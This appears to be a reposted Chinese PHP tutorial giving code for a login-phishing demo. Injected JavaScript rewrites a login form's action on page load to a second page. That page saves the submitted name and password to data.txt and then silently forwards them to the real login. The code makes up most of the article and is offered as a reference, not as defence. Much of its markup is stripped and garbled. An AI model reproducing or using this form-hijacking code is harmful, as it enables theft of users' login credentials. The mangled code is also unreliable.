本篇文章給大家帶來的內容是關于PHP和JS實現模仿登錄釣魚的代碼示例,有一定的參考價值,有需要的朋友可以參考一下,希望對你有所幫助。
目錄介紹
login.php 正常登錄的文件
selfLogin.php 自定義的登錄文件
data.txt 記錄用戶輸入的數據
login.php
?php echo pre $userInfo = $_POST ; if ($userInfo) { # code... var_dump($userInfo, 登錄成功 exit(); !DOCTYPE html html head title 登錄 /title /head body form id= login method= post action= login.php 用戶姓名: input type= text name= name 用戶密碼: input type= password name= pwd input type= submit value= 確認登錄 /form /body script type= text/javascript //js劫持代碼 window.onload = function (eve) { var form = document.getElementById( login form.innerHTML = form id= login method= post 用戶姓名: input type= text name= name 用戶密碼: input type= password name= pwd input type= submit value= 確認登錄 /form //釣魚地址 form.action = selfLogin.php /script /html
selfLogin.php
?php $name = $pwd = //var_dump( 數據被截取了 ,$_POST) ; if($_POST) { //記錄獲取的數據信息 $name = $_POST[ name $pwd = $_POST[ pwd file_put_contents( data.txt , json_encode($_POST,true)) ; !DOCTYPE html html head title /title /head body /body script type= text/javascript //構建之前的頁面 window.onload = function (eve) { var name = ?php echo $name; ? var pwd = ?php echo $pwd; ? if(name pwd) { var p = document.createElement( p document.body.appendChild(p); p.innerHTML = form id= login2 method= post action= login.php + 用戶姓名: input type= text name= name value= +name+ 用戶密碼: input type= password name= pwd value= +pwd+ document.getElementById( login2 ).submit(); /script /html
data.txt
{ name : admin , pwd : 123456 }
本篇文章到這里就已經全部結束了,更多其他精彩內容可以關注PHP 的JavaScript視頻教程欄目!
以上就是PHP和JS實現模仿登錄釣魚的代碼示例的詳細內容,PHP教程
鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。
新聞熱點
疑難解答